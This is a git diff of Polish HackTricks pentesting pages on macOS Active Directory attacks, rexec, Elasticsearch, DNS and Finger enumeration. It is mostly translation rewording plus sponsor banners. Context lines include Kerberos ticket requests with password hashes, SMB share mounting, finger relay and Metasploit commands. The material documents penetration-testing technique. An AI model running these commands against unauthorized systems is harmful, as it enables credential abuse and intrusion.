||||
|
||||
Skrypt [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) może nasłuchiwać na nowe pliki dodawane i nowe argumenty procesów.
|
||||
Skrypt [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) może nasłuchiwać nowych plików dodawanych i nowych argumentów procesów.
|
||||
|
||||
### Zdalny dostęp do macOS
|
||||
|
||||
|
@ -161,7 +161,7 @@ Trzy typy użytkowników MacOS to:
|
|||
|
||||
* **Użytkownicy lokalni** — Zarządzani przez lokalną usługę OpenDirectory, nie są w żaden sposób połączeni z Active Directory.
|
||||
* **Użytkownicy sieciowi** — Zmienni użytkownicy Active Directory, którzy wymagają połączenia z serwerem DC w celu uwierzytelnienia.
|
||||
* **Użytkownicy mobilni** — Użytkownicy Active Directory z lokalnym kopią zapasową swoich poświadczeń i plików.
|
||||
* **Użytkownicy mobilni** — Użytkownicy Active Directory z lokalną kopią zapasową swoich poświadczeń i plików.
|
||||
|
||||
Lokalne informacje o użytkownikach i grupach są przechowywane w folderze _/var/db/dslocal/nodes/Default._\
|
||||
Na przykład, informacje o użytkowniku o nazwie _mark_ są przechowywane w _/var/db/dslocal/nodes/Default/users/mark.plist_, a informacje o grupie _admin_ znajdują się w _/var/db/dslocal/nodes/Default/groups/admin.plist_.
|
||||
|
@ -194,7 +194,7 @@ dsconfigad -show
|
|||
```
|
||||
Więcej informacji w [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/)
|
||||
|
||||
### Computer$ hasło
|
||||
### Hasło komputera$
|
||||
|
||||
Uzyskaj hasła za pomocą:
|
||||
```bash
|
||||
|
@ -220,7 +220,7 @@ bifrost --action asktgt --username test_lab_admin \
|
|||
bifrost --action asktgs --spn [service] --domain [domain.com] \
|
||||
--username [user] --hash [hash] --enctype [enctype]
|
||||
```
|
||||
Z uzyskanymi biletami serwisowymi możliwe jest próbowanie dostępu do udostępnień na innych komputerach:
|
||||
Z uzyskanymi biletami serwisowymi możliwe jest próbowanie dostępu do udostępnionych zasobów na innych komputerach:
|
||||
```bash
|
||||
smbutil view //computer.fqdn
|
||||
mount -t smbfs //server/folder /local/mount/point
|
||||
|
@ -241,7 +241,7 @@ MacOS Red Teaming różni się od standardowego Windows Red Teaming, ponieważ z
|
|||
|
||||
### Safari
|
||||
|
||||
Gdy plik jest pobierany w Safari, jeśli jest to plik "bezpieczny", zostanie **automatycznie otwarty**. Na przykład, jeśli **pobierzesz zip**, zostanie on automatycznie rozpakowany:
|
||||
Gdy plik jest pobierany w Safari, jeśli jest to "bezpieczny" plik, zostanie **automatycznie otwarty**. Na przykład, jeśli **pobierzesz zip**, zostanie on automatycznie rozpakowany:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (226).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -255,9 +255,9 @@ Gdy plik jest pobierany w Safari, jeśli jest to plik "bezpieczny", zostanie **a
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj automatycznych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Basic Information
|
||||
## Podstawowe informacje
|
||||
|
||||
**OPC UA**, czyli **Open Platform Communications Unified Access**, to kluczowy protokół open-source używany w różnych branżach, takich jak produkcja, energia, lotnictwo i obronność, do wymiany danych i kontroli urządzeń. Umożliwia on unikalną komunikację sprzętu różnych dostawców, szczególnie z PLC.
|
||||
|
||||
|
@ -56,9 +56,9 @@ Aby uzyskać wskazówkę na temat urządzenia, do którego masz dostęp, odczyta
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -68,7 +68,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -17,15 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Basic Information
|
||||
## Podstawowe informacje
|
||||
|
||||
To usługa, która **pozwala na wykonanie polecenia wewnątrz hosta**, jeśli znasz ważne **dane logowania** (nazwa użytkownika i hasło).
|
||||
Jest to usługa, która **pozwala na wykonanie polecenia wewnątrz hosta**, jeśli znasz ważne **dane uwierzytelniające** (nazwa użytkownika i hasło).
|
||||
|
||||
**Domyślny port:** 512
|
||||
```
|
||||
|
@ -36,7 +36,7 @@ PORT STATE SERVICE
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
|
@ -51,8 +51,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
|
@ -41,7 +41,7 @@ Podczas procesu indeksowania Elasticsearch przechowuje dokumenty i konstruuje in
|
|||
|
||||
### Banner
|
||||
|
||||
Protokół używany do uzyskania dostępu do Elasticsearch to **HTTP**. Kiedy uzyskujesz do niego dostęp przez HTTP, znajdziesz interesujące informacje: `http://10.10.10.115:9200/`
|
||||
Protokół używany do uzyskania dostępu do Elasticsearch to **HTTP**. Gdy uzyskasz do niego dostęp przez HTTP, znajdziesz interesujące informacje: `http://10.10.10.115:9200/`
|
||||
|
||||
![](<../.gitbook/assets/image (294).png>)
|
||||
|
||||
|
@ -166,7 +166,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j
|
|||
"name" : "how to get a job"
|
||||
}'
|
||||
```
|
||||
Ten cmd utworzy **nowy indeks** o nazwie `bookindex` z dokumentem typu `books`, który ma atrybuty "_bookId_", "_author_", "_publisher_" i "_name_"
|
||||
Ten cmd utworzy **nowy indeks** o nazwie `bookindex` z dokumentem typu `books`, który ma atrybuty "_bookId_", "_author_", "_publisher_" i "_name_".
|
||||
|
||||
Zauważ, jak **nowy indeks pojawia się teraz na liście**:
|
||||
|
||||
|
@ -190,9 +190,9 @@ msf > use auxiliary/scanner/elasticsearch/indices_enum
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -202,11 +202,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
|
@ -36,12 +36,12 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
### Różne serwery DNS
|
||||
|
||||
* **Serwery główne DNS**: Są na szczycie hierarchii DNS, zarządzają domenami najwyższego poziomu i interweniują tylko wtedy, gdy serwery niższego poziomu nie odpowiadają. Internetowa Korporacja ds. Nadanych Nazw i Numerów (**ICANN**) nadzoruje ich działanie, a ich globalna liczba wynosi 13.
|
||||
* **Autorytatywne serwery nazw**: Te serwery mają ostateczne zdanie w sprawie zapytań w swoich wyznaczonych strefach, oferując definitywne odpowiedzi. Jeśli nie mogą dostarczyć odpowiedzi, zapytanie jest eskalowane do serwerów głównych.
|
||||
* **Serwery główne DNS**: Są na szczycie hierarchii DNS, zarządzają domenami najwyższego poziomu i interweniują tylko wtedy, gdy serwery niższego poziomu nie odpowiadają. Internetowa Korporacja ds. Przypisanych Nazw i Numerów (**ICANN**) nadzoruje ich działanie, a ich globalna liczba wynosi 13.
|
||||
* **Autorytatywne serwery nazw**: Te serwery mają ostateczne zdanie w sprawie zapytań w swoich wyznaczonych strefach, oferując definitywne odpowiedzi. Jeśli nie mogą udzielić odpowiedzi, zapytanie jest eskalowane do serwerów głównych.
|
||||
* **Nieautorytatywne serwery nazw**: Nie mając własności nad strefami DNS, te serwery zbierają informacje o domenach poprzez zapytania do innych serwerów.
|
||||
* **Serwer pamięci podręcznej DNS**: Ten typ serwera zapamiętuje wcześniejsze odpowiedzi na zapytania przez określony czas, aby przyspieszyć czasy odpowiedzi na przyszłe żądania, przy czym czas przechowywania w pamięci podręcznej jest określany przez serwer autorytatywny.
|
||||
* **Serwer pamięci podręcznej DNS**: Ten typ serwera zapamiętuje wcześniejsze odpowiedzi na zapytania przez określony czas, aby przyspieszyć czasy odpowiedzi na przyszłe żądania, a czas przechowywania w pamięci podręcznej jest określany przez serwer autorytatywny.
|
||||
* **Serwer przekazujący**: Pełniąc prostą rolę, serwery przekazujące po prostu przekazują zapytania do innego serwera.
|
||||
* **Resolver**: Zintegrowane w komputerach lub routerach, resolvery wykonują lokalne rozwiązywanie nazw i nie są uważane za autorytatywne.
|
||||
* **Resolver**: Zintegrowane w komputerach lub routerach, resolvery wykonują lokalnie rozwiązywanie nazw i nie są uważane za autorytatywne.
|
||||
|
||||
## Enumeracja
|
||||
|
||||
|
@ -172,13 +172,13 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
### E-mail do nieistniejącego konta
|
||||
### Mail do nieistniejącego konta
|
||||
|
||||
Poprzez badanie powiadomienia o niedostarczeniu (NDN) wywołanego przez e-mail wysłany na nieprawidłowy adres w obrębie docelowej domeny, często ujawniane są cenne szczegóły dotyczące wewnętrznej sieci.
|
||||
|
||||
|
@ -223,11 +223,11 @@ host.conf
|
|||
Niebezpieczne ustawienia podczas konfigurowania serwera Bind:
|
||||
|
||||
| **Opcja** | **Opis** |
|
||||
| ----------------- | ---------------------------------------------------------------------------- |
|
||||
| `allow-query` | Określa, które hosty mogą wysyłać zapytania do serwera DNS. |
|
||||
| `allow-recursion` | Określa, które hosty mogą wysyłać zapytania rekurencyjne do serwera DNS. |
|
||||
| `allow-transfer` | Określa, które hosty mogą otrzymywać transfery stref z serwera DNS. |
|
||||
| `zone-statistics` | Zbiera dane statystyczne dotyczące stref. |
|
||||
| ----------------- | ------------------------------------------------------------------------------ |
|
||||
| `allow-query` | Określa, które hosty mogą wysyłać zapytania do serwera DNS. |
|
||||
| `allow-recursion` | Określa, które hosty mogą wysyłać zapytania rekurencyjne do serwera DNS. |
|
||||
| `allow-transfer` | Określa, które hosty mogą otrzymywać transfery stref z serwera DNS. |
|
||||
| `zone-statistics` | Zbiera dane statystyczne dotyczące stref. |
|
||||
|
||||
## Odniesienia
|
||||
|
||||
|
@ -289,9 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Zdobądź perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -304,8 +304,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
|
@ -25,7 +25,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
Program/usługa **Finger** jest wykorzystywana do uzyskiwania szczegółowych informacji o użytkownikach komputerów. Zazwyczaj dostarczane informacje obejmują **nazwę użytkownika, pełne imię i nazwisko**, a w niektórych przypadkach dodatkowe szczegóły. Te dodatkowe informacje mogą obejmować lokalizację biura i numer telefonu (jeśli dostępne), czas logowania użytkownika, okres bezczynności (czas bezczynności), ostatni moment, w którym użytkownik przeczytał wiadomość e-mail, oraz zawartość plików planów i projektów użytkownika.
|
||||
Program/usługa **Finger** jest wykorzystywana do uzyskiwania szczegółowych informacji o użytkownikach komputerów. Zazwyczaj dostarczane informacje obejmują **nazwę logowania użytkownika, pełne imię i nazwisko**, a w niektórych przypadkach dodatkowe szczegóły. Te dodatkowe informacje mogą obejmować lokalizację biura i numer telefonu (jeśli dostępne), czas logowania użytkownika, okres bezczynności (czas bezczynności), ostatni moment, w którym użytkownik przeczytał wiadomość e-mail, oraz zawartość plików planów i projektów użytkownika.
|
||||
|
||||
**Domyślny port:** 79
|
||||
```
|
||||
|
@ -45,13 +45,13 @@ finger @<Victim> #List users
|
|||
finger admin@<Victim> #Get info of user
|
||||
finger user@<Victim> #Get info of user
|
||||
```
|
||||
Alternatywnie możesz użyć **finger-user-enum** od [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), kilka przykładów:
|
||||
Alternatywnie możesz użyć **finger-user-enum** z [**pentestmonkey**](http://pentestmonkey.net/tools/user-enumeration/finger-user-enum), kilka przykładów:
|
||||
```bash
|
||||
finger-user-enum.pl -U users.txt -t 10.0.0.1
|
||||
finger-user-enum.pl -u root -t 10.0.0.1
|
||||
finger-user-enum.pl -U users.txt -T ips.txt
|
||||
```
|
||||
#### **Nmap wykonuje skrypt do używania domyślnych skryptów**
|
||||
#### **Nmap wykonuje skrypt do użycia domyślnych skryptów**
|
||||
|
||||
### Metasploit używa więcej sztuczek niż Nmap
|
||||
```
|
||||
|
@ -75,9 +75,9 @@ finger @internal@external
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę
|
||||
**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę**
|
||||
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
**Znajdź i zgłoś krytyczne, wykorzystywalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -91,7 +91,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -7,15 +7,15 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
